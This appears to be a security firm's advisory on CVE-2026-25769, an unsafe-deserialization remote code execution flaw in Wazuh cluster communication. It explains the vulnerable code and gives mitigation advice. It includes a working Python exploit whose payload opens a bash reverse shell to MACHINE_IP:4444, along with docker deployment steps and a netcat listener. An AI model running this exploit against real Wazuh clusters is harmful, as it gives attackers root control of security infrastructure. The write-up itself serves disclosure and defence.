戻る

CVE-2026-25769: Critical Remote Code Execution in Wazuh via Unsafe Deserialization

Vulnerability Assessment and Penetration Testing (VAPT)

Wazuh, Remote Code Execution, Unsafe Deserialization, Cluster Communication Security, CVE-2026-25769

CVE-2026-25769: Critical Remote Code Execution in Wazuh via Unsafe Deserialization
CVE-2026-25769: Critical Remote Code Execution in Wazuh via Unsafe Deserialization

Summary

This vulnerability in Wazuh’s cluster communication mechanism allows an attacker controlling a worker node to execute arbitrary code on the master node. The root cause lies in unsafe JSON deserialization using a custom object_hook, which permits user-controlled module imports and function execution.

Because the master node operates as the central authority, successful exploitation leads to full cluster compromise, making this a critical RCE vulnerability affecting Wazuh versions 4.0.0 through 4.14.2.

What is Wazuh?

Wazuh is a free and open-source security platform used for:

  • Threat detection
  • Security monitoring (SIEM)
  • Intrusion detection (HIDS)
  • Incident response

It collects and analyzes data from endpoints, servers, and cloud environments to detect malicious activity in real time.

Why Organizations Use Wazuh

1 - Threat Detection

Monitors logs and system activity to detect:

  • Malware
  • Intrusions
  • Suspicious behavior
2 - Centralized Security Monitoring

Aggregates logs from:

  • Servers
  • Applications
  • Endpoints

Provides a unified view of security events.

3 - Intrusion Detection

Detects:

  • File integrity changes
  • Unauthorized access
  • Privilege escalation
4 - Automated Response

Can automatically:

  • Block attackers
  • Trigger alerts
  • Execute response scripts
5 - Cloud & Compliance Support

Supports:

  • Cloud platforms (AWS, Azure)
  • Compliance standards (PCI-DSS, GDPR, HIPAA)

Why Wazuh is Important

  • Acts as a central security hub 
  • Enables early threat detection 
  • Reduces response time
  • Cost-effective (open-source)
  • Widely used in enterprise environments

Wazuh Cluster Architecture

This diagram illustrates the standard cluster architecture of Wazuh, showing how the master and worker nodes interact in a secure and distributed environment.

1. Master Node (Central Controller)

The Master Node is the core component of the cluster.

Key Functions:

  • Central Management: Controls the entire cluster
  • Rule Distribution: Sends detection rules to workers
  • Data Processing: Handles analysis and correlation of events
  • API Services: Provides centralized interfaces (like DAPI)

It acts as the brain of the system, coordinating all operations.

2. Worker Nodes (Distributed Agents)

The Worker Nodes are multiple systems connected to the master.

Key Functions:

  • Collect logs and security events from endpoints
  • Perform initial processing
  • Send requests and data to the master node

 They act as data collectors and executors across the infrastructure.

3. Secure Communication Layer

All communication between nodes is protected.

Features:

  • Uses Fernet symmetric encryption 
  • Shared key stored in: ossec.conf
  • Ensures:
    • Confidentiality (data is encrypted)
    • Authentication (only trusted nodes can connect)
4. Network Communication (TCP Port 1516)
  • Workers connect to the master over TCP port 1516 
  • This channel is used for:
    • Sending logs
    • API requests
    • Cluster synchronization

 It is the main communication pipeline in the cluster.

Vulnerable Code

Deserialization Hook

# framework/wazuh/core/cluster/common.py

from importlib import import_module

def as_wazuh_object(dct):
    try:
        if '__callable__' in dct:
            encoded_callable = dct['__callable__']
            funcname = encoded_callable['__name__']
            if '__wazuh__' in encoded_callable:
                wazuh = Wazuh()
                return getattr(wazuh, funcname)
            else:
                qualname = encoded_callable['__qualname__'].split('.')
                classname = qualname[0] if len(qualname) > 1 else None
                module_path = encoded_callable['__module__']   # ❌ user-controlled
                module = import_module(module_path)            # ❌ arbitrary import
                if classname is None:
                    return getattr(module, funcname)           # ❌ arbitrary function
                else:
                    return getattr(getattr(module, classname), funcname)
    except Exception:
        return dct


Execution Point

# framework/wazuh/core/cluster/dapi/dapi.py
# Deserialization
request = json.loads(request, object_hook=c_common.as_wazuh_object)
# Execution
data = f(**f_kwargs)   # ❌ attacker-controlled function execution


Why This Is Vulnerable

1. User-Controlled Module Import
module = import_module(module_path)


  • module_path comes directly from JSON input
  • No validation or allowlist
  • Attacker can import:
    • os
    • subprocess
    • shutil
    • any installed module
2. Arbitrary Function Resolution
getattr(module, funcname)


  • Attacker selects any function inside the module 
  • Example:
    • subprocess.getoutput
    • os.system
3. Function Object Returned
return getattr(module, funcname)


  • Instead of returning data → returns callable function 
  • This breaks the boundary between data and code 
4. Direct Execution of Untrusted Function
data = f(**f_kwargs)


  • f is attacker-controlled
  • f_kwargs is attacker-controlled
  • Executed with master node privileges

Root Cause

The root cause of this vulnerability is CWE-502, arising from unsafe handling of untrusted input during JSON deserialization in Wazuh.

Specifically, the Wazuh cluster communication mechanism uses a custom object_hook that:

  • Accepts user-controlled JSON input 
  • Dynamically imports Python modules 
  • Resolves callable objects 
  • Returns executable functions instead of data

This effectively allows untrusted data to be transformed into executable code, violating the fundamental boundary between data and logic.

Additionally, the implementation lacks:

  • Input validation
  • Allowlisting of safe modules/functions
  • Sandboxing or execution restrictions

Trust Model Failure

The vulnerability also highlights a critical architectural issue:

The trust model between master and worker nodes is overly permissive.

Wazuh assumes that:

  • All worker nodes are fully trusted 
  • Data received from authenticated workers is safe to deserialize 

This assumption becomes dangerous in real-world environments where:

  • Worker nodes may be compromised 
  • Attackers may gain lateral access 
  • Insider threats or supply chain attacks exist

As a result, authentication is treated as a substitute for validation, which leads directly to exploitation.

Attack Chain

1. Compromised Worker Node

Attacker already controls a worker node
Can send arbitrary messages to master

send_to_master(malicious_payload)


The attacker gains control over a trusted worker node. Since workers are trusted inside the cluster, they can communicate directly with the master without additional validation.

2. Malicious JSON Payload
{
  "__callable__": {
    "__module__": "subprocess",
    "__name__": "getoutput",
    "__qualname__": "getoutput"
  },
  "f_kwargs": {
    "cmd": "id"
  }
}


The attacker crafts a JSON payload containing a __callable__ object that specifies which module and function to execute, along with arguments.

3. Payload Sent via Cluster Communication
import socket, json
sock.send(json.dumps(payload).encode())


The payload is sent from the worker to the master node over the cluster communication channel. The connection is encrypted, but the content is not validated.

4. Deserialization with object_hook
import json
request = json.loads(request, object_hook=as_wazuh_object)


The master deserializes the incoming JSON using a custom object_hook, which transforms JSON objects into Python objects.

5. Arbitrary Module Import
from importlib import import_module
module_path = encoded_callable['__module__']  # "subprocess"
module = import_module(module_path)



The system imports a Python module based on attacker-controlled input, without any validation or restrictions.

6. Arbitrary Function Resolution
funcname = encoded_callable['__name__']  # "getoutput"
f = getattr(module, funcname)


The code retrieves a function from the imported module. The attacker fully controls which function is selected.

7. Function Object Returned
return f
# f now equals subprocess.getoutput


Instead of returning safe data, the deserialization process returns a callable function object, turning data into executable code.

8. Execution of Function
f_kwargs = {"cmd": "id"}
data = f(**f_kwargs)


The function is executed with attacker-controlled arguments, directly triggering system-level commands.

9. Remote Code Execution (RCE)
import subprocess
subprocess.getoutput(cmd="id")


The final result is execution of arbitrary commands on the master node, typically with elevated privileges (root), leading to full system compromise.

Vulnerable Versions

The vulnerability affects the following versions of Wazuh:

Affected Range
  • 4.0.0 → 4.14.2 

Proof of Concept (PoC)

1- This section demonstrates how an attacker can achieve Remote Code Execution (RCE) on the Wazuh master node by abusing unsafe deserialization in cluster communication.

sudo docker exec master /var/ossec/bin/cluster_control -l


This command lists all nodes in the cluster (master and workers).
It confirms that the attacker-controlled worker node is connected and trusted.

Exploit script

#!/usr/bin/env python3
import sys, json, asyncio, importlib.util

def load_module(path):
    spec = importlib.util.spec_from_file_location('m', path)
    m = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(m)
    return m

# Payload: Master will execute subprocess.getoutput(cmd="...")
PAYLOAD = {
    "f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
    "f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/MACHINE_IP/4444 0>&1'"},
    "request_type": "local_master"
}

async def main():
    lc = load_module('/var/ossec/framework/wazuh/core/cluster/local_client.py').LocalClient()
    await lc.start()
    print(f"Sending: {json.dumps(PAYLOAD)}")
    await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())
    print("Check the listener running on MACHINE_IP:4444 to confirm the shell")

asyncio.run(main())


Purpose of the Script

This script exploits unsafe deserialization in Wazuh (CVE-2026-25769) to:

Execute arbitrary commands on the master node
Establish a reverse shell back to the attacker

It leverages trusted cluster communication (DAPI) instead of external attack surfaces.

2. Code Breakdown

A. Dynamic Module Loader
def load_module(path):
    spec = importlib.util.spec_from_file_location('m', path)
    m = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(m)
    return m


 What it does:

  • Loads a Python file directly from disk 
  • In this case:
/var/ossec/framework/wazuh/core/cluster/local_client.py


Why it's used:

  • Avoids importing via standard Python paths
  • Ensures access to Wazuh internal class (LocalClient) 
B. Payload Construction
PAYLOAD = {
    "f": {"__callable__": {"__name__": "getoutput", "__module__": "subprocess", "__qualname__": "getoutput"}},
    "f_kwargs": {"cmd": "bash -c 'bash -i >& /dev/tcp/MACHINE_IP/4444 0>&1'"},
    "request_type": "local_master"
}


Critical Part

This is the core exploit.

What happens on the master:
  1. JSON is parsed:
json.loads(..., object_hook=as_wazuh_object)


  1. __callable__ triggers:
import_module("subprocess")
getattr(module, "getoutput")


  1. Result:
f = subprocess.getoutput


  1. Then executed:
f(**f_kwargs)


Reverse Shell Command

bash -c 'bash -i >& /dev/tcp/MACHINE_IP/4444 0>&1'


Effect:

  • Opens interactive shell from master → attacker 
  • Uses TCP redirection
  • Fully interactive if successful
C. Why request_type: local_master Matters
"request_type": "local_master"


 Purpose:

  • Forces execution on the master node 
  • Bypasses worker-side handling

Without this:

  • Payload may not reach execution point
D. Execution Flow
lc = load_module(...).LocalClient()
await lc.start()
await lc.execute(command=b'dapi', data=json.dumps(PAYLOAD).encode())


What happens:
  1. LocalClient():
    • Creates internal cluster client 
    • Trusted communication channel
  1. lc.start():
    • Initializes connection to master
  1. execute():
    • Sends payload via:

DAPI (Distributed API)

2 - Copies the exploit script into the compromised worker container.
sudo docker cp poc.py worker:/exploit/poc.py


3 - Execute Exploit from Worker
sudo docker exec worker /var/ossec/framework/python/bin/python3 /exploit/poc.py


4 - Start Listener
nc -nlvp 4444


Starts a Netcat listener to receive the reverse shell from the master node.

5 - Result – Reverse Shell

Once executed:

  • The master processes the payload
  • Deserializes it into subprocess.getoutput
  • Executes the reverse shell command
  • Connects back to the attacker

Impact

This vulnerability has critical impact on environments running Wazuh in cluster mode.

1- Remote Code Execution (RCE)
  • Attackers can execute arbitrary commands on the master node 
  • No complex exploit required — only a crafted JSON payload
2- Root-Level Access
  • Commands are executed with high privileges (often root) 
  • Gives full control over the underlying system
3-  Full Cluster Compromise
  • The master node controls:
    • All worker nodes
    • Security configurations
    • Data processing
4- Lateral Movement
  • Attackers can pivot from the master to:
    • Other servers
    • Internal services
    • Connected infrastructure
5- Data Exfiltration
  • Access to sensitive data such as:
    • Security logs
    • Credentials
    • Configuration files
6- Security Monitoring Bypass
  • Since Wazuh is a security platform:
    • Attackers can disable detection rules
    • Modify alerts
    • Hide their activity

Mitigation

The primary fix is to upgrade Wazuh to version 4.14.3 or later, which introduces an allowlist to prevent arbitrary module imports during deserialization.

If an immediate upgrade is not possible, apply the following measures:

1. Upgrade to a Secure Version
  • Update to Wazuh 4.14.3+ 
  • This version restricts unsafe module imports in as_wazuh_object() 
2. Restrict Network Access
  • Limit access to TCP port 1516 
  • Allow only trusted worker IP addresses 
  • Block all unauthorized connections
3. Monitor Worker Node Integrity
  • Continuously monitor worker nodes for compromise
  • Detect:
    • Unauthorized access
    • Suspicious processes
  • Treat workers as potential attack entry points 
4. Network Segmentation
  • Isolate master and worker nodes in separate network zones
  • Apply strict firewall rules between them
  • Reduce lateral movement risk
5.  Rotate Cluster Keys
  • Regularly rotate cluster encryption keys
  • Immediately rotate keys after any suspected compromise
  • Prevent unauthorized nodes from joining the cluster
6. Long-Term Hardening
  • Apply least privilege to Wazuh services
  • Enable audit logging for cluster communication
  • Deploy file integrity monitoring on the master node
  • Restrict access to LocalClient and internal APIs

Conclusion

CVE-2026-25769 highlights a fundamental security flaw where data is implicitly trusted and executed as code. In distributed systems like Wazuh clusters, trust between nodes becomes a critical weakness when not properly validated.

By allowing user-controlled input to dictate module imports and function execution, Wazuh unintentionally exposes its master node to complete compromise. Since the master orchestrates the entire security infrastructure, this vulnerability effectively turns a defensive system into an attack vector.

Immediate remediation is essential. Organizations must prioritize upgrading to a patched version and implementing strict network and node-level security controls. Long-term, this serves as a strong reminder to never mix deserialization with execution logic without strict validation or allowlisting.

ニュースレター

最新のサイバーセキュリティニュースと動向をチェックしましょう。

購読することで、プライバシーおよびクッキーポリシーに従って、私の個人データが収集・処理されることに同意します。

クラウドアーキテクチャ
クラウドアーキテクチャ
445 S. Figueroa Street
Los Angeles, CA 90071
Googleマップ
フォームにご記入のうえ、お問い合わせください
今すぐResecurity製品を無料トライアルでお試しください
Resecurity
閉じる
こんにちは!ご質問にお答えし、お手伝いするためにここにいます。
始める前に、お名前とメールアドレスをご提供いただけますか?